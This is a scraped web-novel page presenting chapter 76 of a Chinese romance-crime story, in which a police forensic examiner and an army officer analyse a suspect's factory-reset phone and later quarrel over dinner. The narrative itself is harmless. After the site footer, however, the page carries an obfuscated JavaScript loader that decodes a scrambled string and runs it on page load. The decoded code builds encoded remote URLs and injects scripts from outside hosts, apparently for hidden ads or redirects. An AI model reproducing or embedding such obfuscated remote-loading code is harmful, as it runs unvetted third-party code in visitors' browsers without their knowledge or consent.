首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

76 牵绊

下载APP,无广告、完整阅读
    76牵绊(第1/2页)
    “好久不见。”
    “哈哈哈,你们认识啊!那就更好办了。诶,我和你说啊!小黎可是我最得意的徒弟了。你们两个配合,肯定没问题。”
    江洛笑了笑。
    黎兮渃收回手说:“资料我昨晚已经看过了,涉案手机目前正在进行芯片级数据提取,有几个加密分区需要协同处理。”
    江洛的目光从她脸上移开,落向她身后的办公楼:“检材在哪里?”
    “那我先带你过去。”
    “可以。”
    周国平在旁边看着说:“行,那你们两个人先对接。小黎,有什么需要随时跟我说。”
    “好的,师父。”
    黎兮渃转身往楼里走,她知道江洛跟在后面,但却没有回头。
    电梯里只有他们两个人。黎兮渃按下四楼的按钮,数字亮起来,电梯门合上。
    “手机被恢复出厂设置几次?”江洛开口,打破了沉默。
    黎兮渃从那些回忆里抽身出来:“至少两次。初步检测显示,最后一次恢复出厂设置是在嫌疑人逃跑前两小时内。本地数据全部清空,但芯片物理层应该还有残留。”
    “云端呢?”
    “我们查了关联账号,最后登录IP是境外代理,追踪难度挺大的。不过手机里有一张SIM卡,运营商那边调取的通话记录显示,逃跑前三天,这个号码和一个境外号码有过频繁通讯。”
    电梯到了四楼。门开的时候,黎兮渃侧身让他先走。
    随后她快步走到前面,推开技术处的门。
    小林坐在角落工位上啃包子。看见黎兮渃带着一个军官进来,包子差点没拿稳,慌忙站起来:“兮渃姐——”
    “小林,去把三号检验台准备好,再把那部涉案手机和原始检材记录拿过来。”
    “好好好。”小林抹了把嘴,小跑着去了证物室。
    黎兮渃把江洛带到自己的工位旁边,拉了把椅子过来:“你先坐,我把目前的检验情况调出来。”
    “嗯,好。”
    黎兮渃在电脑前坐下,手指在键盘上飞快地敲击,调出昨晚做的那些检验记录。
    江洛就这么静静地看着她,能看出来,她眼神全是是专注于案件时的神情。
    “这里,”江洛忽然倾身向前,手指点了一下屏幕上的一个数据段,“这个分区的元数据异常。恢复出厂设置不会造成这种碎片模式。”
    黎兮渃顺着他的指尖看过去。她昨晚也注意到了那个异常,但折腾到十一点也没理出个头绪。
    “我昨晚做了深度扫描,这个分区的数据被某种加密算法处理过,不是普通的系统加密。”她说着,调出另一组数据,“你看这个熵值分布,不像是常规的手机加密方案。”
    黎兮渃继续调出数据报告:“目前能恢复的只有少量系统日志和碎片化的缓存文件。IMEI被改了,SIM卡轨迹也查不到,他应该是用了一次性号码。”
    江洛沉默了大概十秒。
    “让我看一下原始镜像。”
    黎兮渃侧身让出键盘的位置,退开半步。
    江洛坐下来,手指搭上键盘,动作利落地调出命令行界面。他操作的速度很快。黎兮渃站在他身后,看见他忽然停了一下。
    “这里。”他指着屏幕上的一行十六进制代码,“这个时间戳前后的数据块有异常。不是简单的删除,是有人刻意做了覆写。”
    “我知道。”黎兮渃弯腰凑近了些,“我昨晚也注意到了这一段,但我的设备没办法逆向解析覆写层的原始内容。”
    “因为不是标准的文件系统。”江洛说,“他用了自定义的加密容器,嵌在系统分区里。普通取证软件扫不出来。”
    他说完这句话,忽然转过头。
    两个人的距离太近了。近到黎兮渃能看清他睫毛的弧度,和他眼底那一圈很淡的青色,能看出来,他昨晚也没睡好。
    江洛没有立刻转回去。他看着她的眼睛,大概只有一瞬,然后垂下眼,重新面向屏幕。
    “需要时间。给我两天。”
    “够吗?”周国平站在门口问。
    “够。”江洛和黎兮渃几乎同时开口。
    两个人对视了一眼。黎兮渃先移开了目光。
    “好好好,你们这两个人啊!哈哈哈。”
    接下来的整个上午,检验室都很安静。
    江洛坐在操作台前,手几乎没离开过键盘。
    他带来的那个士兵,自我介绍说叫他小赵就行,在旁边打下手。
    中午的时候,小林送了两份盒饭进来。黎兮渃把其中一份推到江洛手边:“先吃饭吧!”
    江洛看了一眼盒饭,又看了一眼电脑屏幕上的进度条,最后把键盘往前推了推,接过盒饭。
    “谢谢。”
    他打开盒饭盖子,动作很自然地开始吃。
    黎兮渃坐在对面,食不知味地扒了两口米饭。
    (本章未完,请点击下一页继续阅读)76牵绊(第2/2页)
    江洛咬着筷子的动作顿了顿:“怎么不吃?不合胃口?”
    他的目光落在她几乎没动过的菜上,盒里的青菜和肉片还整整齐齐码着,只有碗底少了点儿米饭。
    黎兮渃被他的声音拉回神:“没有,就是在想刚才那个加密容器的结构,有点走神了。”
    “先吃饭,案子不急这一时。”
    “嗯。好。”
    下午两点,江洛走到白板前,拿起记号笔开始画图。
    黎兮渃跟过去,看见他画了一个加密容器的结构图,标注了几处关键节点。
    “这个容器用了三层嵌套加密。”他的笔尖点着白板,“最外层是AES-256,中间层是自定义的混淆算法,最里层……我还没完全解出来,但大概率是国密算法。”
    “AES那层我可以尝试用暴力破解的集群跑,但时间不好说。”
    “不用。”江洛把记号笔的帽扣上,“最外层我已经解了。中间层需要做动态分析,得跑一个模拟环境。最里层可能需要你们的权限。有一些数据库,我这边调取要走跨部门流程,太慢。”
    “什么数据库?”
    “运营商的核心网信令数据。我需要比对这个手机在特定时间窗口内连接的基站序列,反推他的活动轨迹。”
    黎兮渃点头:“这个我来申请。最快明天上午能批下来。”
    “好。”
    工作对接完,两个人又各自回到位置上。
    晚上七点,周国平过来看了一眼:“今天先到这儿,大家都回去休息。”
    小赵收了装备先下楼去发动车。江洛站起来,把椅背上的军装外套拿起来搭在臂弯里,检验室里空调足,他下午就只穿了一件衬衫。
    江洛走在前面,黎兮渃的声音从身后传来:“江少尉。”
    她转过身。看见她站在检验室门口。
    “忙了一天,请你吃个饭?”她说。
    “那我就不推辞了。”
    电梯到了一楼,门打开。夜风从大楼的玻璃门缝里灌进来。黎兮渃把外套穿上,拉链拉到一半,听见江洛在身后问:“吃什么?”
    “你想吃什么?
    “随便,我都行。”
    黎兮渃没再问,径直往警局对面那家小馆子走。黎兮渃跟上去,看见他推门的动作和以前一样——左手推门,右手会不自觉地往后挡一下,怕门弹回来撞到身后的她。
    小馆子不大,这个点没什么人。他们找了个靠窗的位置坐下,老板娘拿着菜单过来,看见江洛的军装,多打量了两眼。
    “二位吃点什么?”
    黎兮渃把菜单推到江洛面前,她没接。说:“你点吧!”
    他也没推让,点了三个菜一个汤。
    全是她以前爱吃的。
    菜上来之后,两个人都没怎么说话。黎兮渃夹了一块红烧排骨,咬了一口。
    “你师父对你挺好。”江洛先开了口。
    “嗯,我入警就是他带的。”黎兮渃顿了顿,“技术都是他教的。”
    “看得出来。”
    “为什么要来当警察?”
    “想穿这身衣服呗。小时候就觉得酷。”
    他把杯子放下,靠在椅背上,目光落在她身上。
    黎兮渃故意低着头,避开了那道视线。
    “就因为这个?”
    黎兮渃抬起眼,对上他的目光:“不然呢?”
    “黎兮渃。”江洛叫了她全名。
    他已经很久没有这样叫过她了。
    “你知不知道你这个职业的水有多深?你知不知道你面对的都是什么人?”
    黎兮渃放下筷子。
    “我从穿上警服的第一天起就清楚我每天在干什么。”
    江洛的手指在桌面上扣了一下,力道不轻。“你知道我说的不是这个。”
    “那你说的是哪个?”黎兮渃抬起眼,目光直直地撞上他的,“危险?还是你觉得自己穿上那身军装是保家卫国,我穿上这身警服就是不自量力?”
    “我没这么说。”
    “你心里就是这么想的。”
    江洛的下颌线绷得很紧。他看着黎兮渃的眼睛,没有示弱,只有要强。
    “你根本不知道那些人手里有什么。”他说,“加密容器里是什么东西,你猜不到吗?这不是普通的刑事案件,黎兮渃。他们是毒贩。
    “我知道。”
    “你不知道。”江洛偏过头,“他们心狠手辣?为了销毁证据不择手段?一旦被他们盯上,连退路都没有?黎兮渃,这是把脑袋别在腰上的事!”
    他字字句句,全是担忧,是怕她受伤。可这份溢于言表的在乎,听在黎兮渃耳中,却只剩满心的酸涩。
    “所以呢?江洛,所以呢?”
    江洛没说话。
    “你又有什么资格管我?”

一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();